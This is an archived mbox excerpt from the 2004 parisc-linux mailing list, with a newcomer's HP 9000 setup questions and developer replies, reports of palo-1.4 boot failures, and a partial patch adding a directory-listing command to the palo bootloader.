Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23585 invoked by uid 65534); 12 May 2004 17:12:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx035) with SMTP; 12 May 2004 19:12:21 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D41AE3BE05; Wed, 12 May 2004 11:12:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mxsf10.cluster1.charter.net (mxsf10.cluster1.charter.net
	[209.225.28.210])
	by free.linux.hp.com (Postfix) with ESMTP id 8B6D43BE02
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 May 2004 11:12:01 -0600 (MDT)
Original-Received: from Nwoods (cpe-66-191-222-161.spa.sc.charter.com [66.191.222.161])
	by mxsf10.cluster1.charter.net (8.12.11/8.12.11) with SMTP id
	i4CHA7ae037301 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 May 2004 13:10:07 -0400 (EDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1409
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21629

vid card in X = Fixed, I set "depth = 8", now it works but if I try to set
it to anything else it says "FBIOPUT_VSCREENINFO: Invalid Argument".  So
I'll just leave it at 8.

> > 2. When trying to access the floppy (which is at /dev/sda) the system
crashes. How do I fix this?
>
> Are there any messages? Yes? Which ones? If in doubt, better send too
> much than too little...
>
> > 2. When trying to access the floppy (which is at /dev/sda) the system
> > crashes. How do I fix this?
>
> By sending us the messages ;-)
>
> Could you send your inventory?  That gives us a place to start looking.
>
I'm new to linux so, How do I get the messages to send?? Since the floppy
drive won't work, I would have to transe them to my win 2k pro system via my
network then send them. How would I do this?? I have telnet on both machines
and a telnet server on my win 2k system. Would I be able to transfer the
files through telnet?

As for the HP 9000/720, I have all the Original documentation and Official
HP-UX CD's
I am not very worried about the speaker connector on the back, BUT

The parisc-linux says there is now Full Hil support. I have the 2.4.17
Kernel. How do I update to the Newest Kernel version and configure it and X
for the hil keyboard and mouse?


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More ??'s
Date: Wed, 12 May 2004 11:28:03 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20040512172803.GA3378@colo.lackof.org>
References: <20040512125116.B15273BE18@free.linux.hp.com>
	<000501c43845$082f6840$6401a8c0@nwoods>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623444 9391 80.91.229.3 (22 Nov 2014 02:30:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nathaniel Woods <nwoods29321@chater.net>
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9630 invoked by uid 65534); 12 May 2004 17:28:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 12 May 2004 19:28:46 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 167193BE0B; Wed, 12 May 2004 11:28:10 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id DF5863BE06
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 May 2004 11:28:06 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 33A6D298028; Wed, 12 May 2004 11:28:06 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 03290-03; Wed, 12 May 2004 11:28:03 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9E08C298015; Wed, 12 May 2004 11:28:03 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <000501c43845$082f6840$6401a8c0@nwoods>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21630

On Wed, May 12, 2004 at 01:17:33PM -0400, Nathaniel Woods wrote:
> vid card in X = Fixed, I set "depth = 8", now it works but if I try to set
> it to anything else it says "FBIOPUT_VSCREENINFO: Invalid Argument".
> So I'll just leave it at 8.

It has to be set to whatever "fbset" command says it is.
Some of the *supported* graphics chips do work with higher color depth.

> I'm new to linux so, How do I get the messages to send?? Since the floppy
> drive won't work, I would have to transe them to my win 2k pro system via my
> network then send them. How would I do this?? I have telnet on both machines
> and a telnet server on my win 2k system. Would I be able to transfer the
> files through telnet?

cut/paste the dmesg output from the telnet window into an email.
Or redirect dmesg output to a file and rcp/scp the file so
it can be attached or appended to an email.

> As for the HP 9000/720, I have all the Original documentation and Official
> HP-UX CD's I am not very worried about the speaker connector on the back,
> BUT The parisc-linux says there is now Full Hil support.
> I have the 2.4.17 Kernel.

"apt-get install kernel-image-2.4.25-32" should be the latest 2.4.x kernel.
(or something reasonably close to that)

> How do I update to the Newest Kernel version and configure it and X
> for the hil keyboard and mouse?

IIRC, the parisc-linux FAQ has this answer.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo-1.4 broken on 32bit ?
Date: Thu, 13 May 2004 13:26:22 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200405131726.i4DHQM5M015373@hiauly1.hia.nrc.ca>
References: <20040504201122.GA32258@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623444 9393 80.91.229.3 (22 Nov 2014 02:30:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:44 +0000 (UTC)
Cc: deller@gmx.de,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10291 invoked by uid 65534); 13 May 2004 17:26:46 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) (132.246.100.193)
  by mx0.gmx.net (mx045) with SMTP; 13 May 2004 19:26:46 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id i4DHQNCp015374;
	Thu, 13 May 2004 13:26:23 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i4DHQM5M015373;
	Thu, 13 May 2004 13:26:22 -0400 (EDT)
In-Reply-To: <20040504201122.GA32258@colo.lackof.org> from "Grant Grundler" at May 4, 2004 02:11:22 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21631

> On Tue, May 04, 2004 at 09:36:28PM +0200, Helge Deller wrote:
> > Hi all,
> > 
> > after apt-get upgrading to palo_1.4_hppa.deb it seems, that palo-1.4 isn't able any longer to boot up a 32bit Linux kernel on a 32bit Machine.
> > I've run several tests on a B180L, and only after downgrading to palo-1.3 I was able to boot again.
> > 
> > Am I the only one seeing this problem ? 
> 
> No - I've been seeing it on the c3600 as well.
> I haven't tried 64-bit kernels.
> And downgrading iplboot to 1.3 also solves it for me too.

Same here on 3750.  Boot fails with

ext2_init: bad magic 0x0

Downgraded, reran palo and the problem is gone.  Command line is >128.
I shortened it a bit but I think this a problem for people using graphics
consoles.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo-1.4 broken on 32bit ?
Date: Thu, 13 May 2004 14:14:31 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20040513201432.2FA3573797@fc.hp.com>
References: <200405131726.i4DHQM5M015373@hiauly1.hia.nrc.ca>
Reply-To: bame@hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623445 9395 80.91.229.3 (22 Nov 2014 02:30:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30354 invoked by uid 65534); 13 May 2004 20:15:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 13 May 2004 22:15:48 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E97103BE5C; Thu, 13 May 2004 14:15:15 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by free.linux.hp.com (Postfix) with ESMTP id 33DD23BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 May 2004 14:15:13 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP id E02D61B42F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 May 2004 16:15:12 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 62D2041F0C9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 May 2004 14:14:27 -0600 (MDT)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 41C1E1340C2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 May 2004 14:14:27 -0600 (MDT)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id 2FA3573797; Thu, 13 May 2004 14:14:32 -0600 (MDT)
Original-Received: from paul.bame (localhost [127.0.0.1])
	by fc.hp.com (Postfix) with ESMTP id 2BB8562C37
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 May 2004 14:14:32 -0600 (MDT)
In-Reply-To: Message from "John David Anglin" <dave@hiauly1.hia.nrc.ca> 
	of "Thu, 13 May 2004 13:26:22 EDT."
	<200405131726.i4DHQM5M015373@hiauly1.hia.nrc.ca> 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21632


New palo in CVS or a deb for testing/unstable at
http://parisc-linux.org/~bame/palo/palo_1.4heisen_hppa.deb

I'll upload to Debian when someone besides me sees success.

	-P
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Update to palo to allow the listing of the current
	kernel directory
Date: 13 May 2004 19:00:54 -0500
Lines: 235
Approved: news@gmane.org
Message-ID: <1084492855.3838.497.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623445 9399 80.91.229.3 (22 Nov 2014 02:30:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:45 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6486 invoked by uid 65534); 14 May 2004 00:01:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 14 May 2004 02:01:33 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BEF033BE69; Thu, 13 May 2004 18:00:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by free.linux.hp.com (Postfix) with ESMTP id 1FACF3BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 May 2004 18:00:56 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i4E00ti07291 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 May 2004 20:00:55 -0400
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21633

This patch (to palo's cvs head) adds the capability to list whatever's
in the current kernel directory.  Probably you'll only find it useful
if, like me, you keep lots of kernels around and can never remember
their names

James

Index: ipl/bootloader.h
===================================================================
RCS file: /var/cvs/palo/ipl/bootloader.h,v
retrieving revision 1.13
diff -u -r1.13 bootloader.h
--- a/ipl/bootloader.h	30 Dec 2003 17:52:06 -0000	1.13
+++ b/ipl/bootloader.h	13 May 2004 23:58:38 -0000
@@ -21,6 +21,7 @@
 	int	(*open)(const char *filename);
 	int	(*bread)(int fd, long blkno, long nblks, char *buf);
 	void	(*close)(int fd);
+	const char *	(*readdir)(int fd, int rewind);
 };
 

@@ -60,6 +61,8 @@
 int ext2_mount(long cons_dev, long p_offset, long quiet);
 int ext2_open(const char *filename);
 int ext2_filesize(int fd);
+const char * ext2_readdir(int fd, int rewind);
+void ext2_close(int fd);
 
 /* lib.c */
 void blockprint(int zero_offset, char *buf, int nbytes);
Index: ipl/ext2.c
===================================================================
RCS file: /var/cvs/palo/ipl/ext2.c,v
retrieving revision 1.11
diff -u -r1.11 ext2.c
--- a/ipl/ext2.c	28 Jul 2002 05:24:06 -0000	1.11
+++ b/ipl/ext2.c	13 May 2004 23:58:39 -0000
@@ -674,14 +674,13 @@
 	return ext2_breadi(ip, blkno, nblks, buffer);
 }
 
-#if 0
 /*
  * Note: don't mix any kind of file lookup or other I/O with this or
  * you will lose horribly (as it reuses blkbuf)
  */
-static const char * ext2_readdir(int fd, int rewind)
+const char * ext2_readdir(int fd, int rewind)
 {
-	struct ext2_inode * ip = &inode_table[fd].inode;
+	struct ext2_inode * ip = fd2inode[fd];
 	struct ext2_dir_entry_2 * ent;
 	if (!S_ISDIR(ip->i_mode)) {
 		printf("fd %d (inode %d) is not a directory (mode %x)\n",
@@ -696,7 +695,6 @@
 		return NULL;
 	}
 }
-#endif
 
 int ext2_filesize(int fd)
 {
@@ -822,7 +820,7 @@
 }
 

-static void ext2_close(int fd)
+void ext2_close(int fd)
 {
 	/* blah, hack, don't close the root inode ever */
 	if (&inode_table[fd].inode != root_inode)
@@ -831,9 +829,13 @@
 

 struct bootfs ext2fs = {
-	0 /* FS_EXT2 */, 0,
-	ext2_mount,
-	ext2_open,  ext2_bread,  ext2_close /* ,
-	ext2_readdir, ext2_fstat */
+	.fs_type =	0,
+	.blocksize =	0,
+	.mount =	ext2_mount,
+	.open =		ext2_open,
+	.bread = 	ext2_bread,
+	.close = 	ext2_close,
+	.readdir =	ext2_readdir,
+	/* .fstat =	ext2_fstat */
 };
 /* $Id: ext2.c,v 1.5 2000/09/21 16:47:48 bame Exp $ */
Index: ipl/ipl.c
===================================================================
RCS file: /var/cvs/palo/ipl/ipl.c,v
retrieving revision 1.37
diff -u -r1.37 ipl.c
--- a/ipl/ipl.c	4 May 2004 21:41:05 -0000	1.37
+++ b/ipl/ipl.c	13 May 2004 23:58:40 -0000
@@ -215,6 +215,42 @@
     strcpy(out, tmpbuf);
 }
 
+static struct diskpartition partition[MAXPARTS];
+static int ext2 = 0;
+static int bootdev;
+
+static void
+partition_transform(int *kern_part, int *rd_part)
+{
+    int i, palo_part = -1;
+
+    /* if the F0 partition is the same as the requested kernel partition,
+     * for now change it to zero to re-use the existing logic.  Should do
+     * the reverse in the future probably.
+     */
+    for (i = 0; i < sizeof partition / sizeof partition[0]; i++)
+    {
+	if (partition[i].id == PALO_PARTITION)
+	{
+	    palo_part = i + 1;
+	    if (*kern_part == palo_part)
+		*kern_part = 0;
+
+	    if (rd_part && *rd_part == palo_part)
+		*rd_part = 0;
+
+	    break;
+	}
+    }
+
+    if (ext2 && *kern_part == 0) {
+	*kern_part = palo_part;
+	if(rd_part && *rd_part == 0)
+	    *rd_part = palo_part;
+    }
+
+}
+
 static void
 interact(char *commandline, int *ok)
 {
@@ -246,7 +282,7 @@
 	{
 	    printf("%2d: %s\n", i, argv[i]);
 	}
-	puts("\nEdit which field?\n(or 'b' to boot with this command line, 'r' to restore)? ");
+	puts("\nEdit which field?\n(or 'b' to boot with this command line, 'r' to restore, 'l' to list dir)? ");
 	numbuf[0] = '0';
 	numbuf[1] = '\0';
 	enter_text(numbuf, sizeof numbuf - 1);
@@ -264,6 +300,48 @@
 	    continue;
 	}
 
+	if (numbuf[0] == 'l')
+	{
+	    char  *p, kern_dir[256];
+	    const char *dir;
+	    int fd, part, part_fd;
+	    
+
+	    join(commandline, argc, argv, ok);
+	    parse_pfname(argv[0], &part, kern_dir);
+	    p = strrchr(kern_dir, '/');
+	    *(p+1) = '.';
+	    *(p+2) = '\0';
+
+	    printf("Directory listing of %s\n\n", kern_dir);
+
+	    partition_transform(&part, NULL);
+
+	    part--;		/* partition table starts from zero */
+	    part_fd = offset_open(bootdev, 512 * partition[part].start,
+				      512 * partition[part].length);
+	    if(ext2_mount(part_fd, 0, 0) == -1) {
+		printf("Failed to mount partition %d\n", part);
+		continue;
+	    }
+
+	    if((fd = ext2_open(kern_dir)) == -1) {
+		printf("Failed to open directory %s\n", kern_dir);
+		continue;
+	    }
+
+	    while((dir = ext2_readdir(fd, 0)) != NULL)
+		if(dir[0] != '.') /* skip hidden files and . and .. */
+		    printf("  %s\n", dir);
+	    
+	    printf("\n");
+	    ext2_close(fd);
+	    /* There's no umount ... since the next mount reuses
+	     * the current one's data structures ... */
+
+	    continue;
+	}
+
 	editfield = parse_number(numbuf, &p);
 
 	if (editfield < argc)
@@ -284,13 +362,11 @@
     extern char _end, _edata;
     int partitioned;
     unsigned entry;
-    struct diskpartition partition[MAXPARTS];
     struct firstblock f;
     extern char commandline[];
     int blocked_bootdev;
-    int bootdev;
     int wide;
-    int kern_part, rd_part, i, ext2 = 0, palo_part = -1;
+    int kern_part, rd_part;
     char kern_name[128], rd_name[128];
     char kern_fullname[128];
     int ok = 1;
@@ -448,30 +524,7 @@
     if (rd_part != -1)
 	printf("Selected ramdisk: %s from partition %d\n", rd_name, rd_part);
 
-    /* if the F0 partition is the same as the requested kernel partition,
-     * for now change it to zero to re-use the existing logic.  Should do
-     * the reverse in the future probably.
-     */
-    for (i = 0; i < sizeof partition / sizeof partition[0]; i++)
-    {
-	if (partition[i].id == PALO_PARTITION)
-	{
-	    palo_part = i + 1;
-	    if (kern_part == palo_part)
-		kern_part = 0;
-
-	    if (rd_part == palo_part)
-		rd_part = 0;
-
-	    break;
-	}
-    }

From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo-1.4 broken on 32bit ?
Date: Thu, 13 May 2004 22:52:32 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20040514045232.GA5184@colo.lackof.org>
References: <200405131726.i4DHQM5M015373@hiauly1.hia.nrc.ca>
	<20040513201432.2FA3573797@fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623445 9401 80.91.229.3 (22 Nov 2014 02:30:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bame@hp.com
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12627 invoked by uid 65534); 14 May 2004 04:53:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 14 May 2004 06:53:11 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1C69B3BE85; Thu, 13 May 2004 22:52:38 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9ED963BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 May 2004 22:52:34 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 4C8AD298029; Thu, 13 May 2004 22:52:33 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 05720-04; Thu, 13 May 2004 22:52:32 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AC116298015; Thu, 13 May 2004 22:52:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040513201432.2FA3573797@fc.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
